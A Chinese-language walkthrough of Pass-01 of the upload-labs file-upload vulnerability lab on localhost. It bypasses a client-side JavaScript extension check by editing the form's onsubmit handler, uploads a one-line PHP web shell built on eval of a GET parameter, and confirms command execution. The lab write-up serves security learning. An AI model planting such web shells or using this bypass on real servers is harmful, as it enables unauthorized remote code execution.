如前文所言,已搭建好c0ny1/upload-labs文件上传漏洞靶场
本文记录一下Pass-01
,前端JS检查绕过。
打开http://localhost/Pass-01/index.php
右键,查看源码
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
</div>
<div id="img">
</div>
</li>
</ol>
</div>
发现onsubmit="return checkFile()"
,该表单的提交由前端JS方法checkFile()
处理。
找到该方法
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
JavaScript lastIndexOf() 方法用来获取字符串中最后一个指定字符的位置。
JavaScript indexOf() 方法用来在一个字符串中查找指定的字符串。
可以看到,该方法会截取最后一个.
之后的字符串当作文件后缀名,再在黑名单后缀中查找。
绕过方法很多。
这里直接在前端修改方法,浏览器右键>查看元素,把检查改成永远通过就行了。
onsubmit="return true;"
或者直接把onsubmit="return checkFile()"
删了。
准备一个小马
cmd.php
<?php
eval($_GET["cmd"]);
?>
上传,显示 提示:../upload文件夹不存在,请手工创建!
。
这里是docker环境的问题,没有创建upload文件夹,需要手动创建。
进入docker
mkdir upload
chown www-data upload/
exit
再次上传,成功。
浏览器访问小马http://localhost/upload/cmd.php?cmd=echo%201;
。
显示
1
成功。
Comments | NOTHING